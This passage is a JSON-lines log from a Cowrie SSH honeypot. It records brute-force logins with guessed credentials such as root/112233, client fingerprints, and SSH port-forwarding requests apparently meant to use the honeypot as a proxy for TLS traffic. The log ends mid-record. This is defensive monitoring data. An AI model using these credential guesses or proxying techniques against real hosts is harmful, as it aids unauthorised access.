{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:38.222373Z","src_ip":"97.74.87.152","session":"7a0dd502f0eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":43654,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f78a169566d","protocol":"ssh","message":"New connection: 45.153.34.195:43654 (10.17.0.5:22) [session: 6f78a169566d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:40.146458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:40.159252Z","src_ip":"45.153.34.195","session":"6f78a169566d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:40.262099Z","src_ip":"45.153.34.195","session":"6f78a169566d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112233","message":"login attempt [root/112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:40.860960Z","src_ip":"45.153.34.195","session":"6f78a169566d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:42.057931Z","src_ip":"45.153.34.195","session":"6f78a169566d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34504,"dst_ip":"10.17.0.5","dst_port":22,"session":"a55a410b292a","protocol":"ssh","message":"New connection: 45.153.34.195:34504 (10.17.0.5:22) [session: a55a410b292a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:43.182350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:43.186593Z","src_ip":"45.153.34.195","session":"a55a410b292a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:43.267655Z","src_ip":"45.153.34.195","session":"a55a410b292a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anders","password":"anders","message":"login attempt [anders/anders] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:43.739011Z","src_ip":"45.153.34.195","session":"a55a410b292a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:43.958579Z","session":"ca8571995764","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:43.963398Z","session":"ca8571995764","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:44.028910Z","src_ip":"23.175.50.51","session":"ca8571995764","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03T3\\xf0\\x80\\x00k\\xaf\\xb93\\x92R\\xc2\\t\\xbf'\\xf1\\xd3\\x92\\xa5N~3\\xbb\\x8f\\tw\\x84\\xf8\\x05\\xe7;\\x10 \\r\\x13\\xff[\\xed\\x82>\\xc6\\xf2\\xdc`\\x81\\xec\\xe1/t\\x00\\xd6=?\\x85\\x9c\\x95tY\\x16\\xdc\\xe9%\\xd0u\\xfe\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9eD\\xfe\\xc3\\x9e\\x82\\x0cS:\\xf9T\\x15\\x9b\\x9f(\\x02\\xff\\x96j'\\xe6\\xc6\\xdc\\xb3\\x7f\\xb7\\xe5\\x1b\\xc0\\xba\\xd21\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03T3\\xf0\\x80\\x00k\\xaf\\xb93\\x92R\\xc2\\t\\xbf'\\xf1\\xd3\\x92\\xa5N~3\\xbb\\x8f\\tw\\x84\\xf8\\x05\\xe7;\\x10 \\r\\x13\\xff[\\xed\\x82>\\xc6\\xf2\\xdc`\\x81\\xec\\xe1/t\\x00\\xd6=?\\x85\\x9c\\x95tY\\x16\\xdc\\xe9%\\xd0u\\xfe\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9eD\\xfe\\xc3\\x9e\\x82\\x0cS:\\xf9T\\x15\\x9b\\x9f(\\x02\\xff\\x96j'\\xe6\\xc6\\xdc\\xb3\\x7f\\xb7\\xe5\\x1b\\xc0\\xba\\xd21\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:44.031772Z","src_ip":"23.175.50.51","session":"ca8571995764","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:44.036815Z","src_ip":"23.175.50.51","session":"ca8571995764","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd2\\xa2~etE>\\xe9\\xac\\x16\\xc4R\\x8a\\xff\\x1f\\xc5\\xad\\x02\\xd0C.\\\\\\xacL\\\\\\x07\\x17\\x17\\xbe\\xad|0 W\\x8b\\xf9\\xff\\xfbA\\xac\\xaf\\x9a\\xe1Y\\xc8\\x81\\x17R\\xd8G\\x91\\xefG\\xc3%\\x0c#\\xb3\\xdf\\xa6\\xc7\\x80\\xce\"\\xb0\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbcHi+\\xdc\\xabM\\x8c\\xd2\\xcb\\xb0\\xf6;y6\\xb2\\xe8\\xed\\xc4\\x9e\\xaf(\\xa9\\xde\\x97\\x88\\xc9\\xdc\\xd3\\xc5\\x95*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd2\\xa2~etE>\\xe9\\xac\\x16\\xc4R\\x8a\\xff\\x1f\\xc5\\xad\\x02\\xd0C.\\\\\\xacL\\\\\\x07\\x17\\x17\\xbe\\xad|0 W\\x8b\\xf9\\xff\\xfbA\\xac\\xaf\\x9a\\xe1Y\\xc8\\x81\\x17R\\xd8G\\x91\\xefG\\xc3%\\x0c#\\xb3\\xdf\\xa6\\xc7\\x80\\xce\"\\xb0\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbcHi+\\xdc\\xabM\\x8c\\xd2\\xcb\\xb0\\xf6;y6\\xb2\\xe8\\xed\\xc4\\x9e\\xaf(\\xa9\\xde\\x97\\x88\\xc9\\xdc\\xd3\\xc5\\x95*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:44.038892Z","src_ip":"23.175.50.51","session":"ca8571995764","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:44.104803Z","session":"ca8571995764","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:44.111487Z","session":"ca8571995764","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:44.167305Z","src_ip":"23.175.50.51","session":"ca8571995764","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdc\\xd0\\xc4\\xdf|\\xa7d(\\xfa\\x9b\\x9b\\xf5%\\x9c\\xcb\\x7f\\xc3$\\xda\\x1f\\x95!\\xc8b\\x1b\\x96\\xaa<\\xa9\\x91j\\xdf b~\\x97Zv*0dW\\xcf\\xef\\xdf\\xdf\\x97\\xc9\\xe0\\xd8>[\\xce\\xa9\\x1e\\xb2\\xcb\\xd9$\\xe1UD\\xe6!#\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 q\\x16\\xd0\\xb6\\xe2\\x97\\xcc\\xa2\\xc49\\xb6\\xe1SDMQc8M\\x9e2x!\\x8e7b*\\x1d#\\xc1\\xcf\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 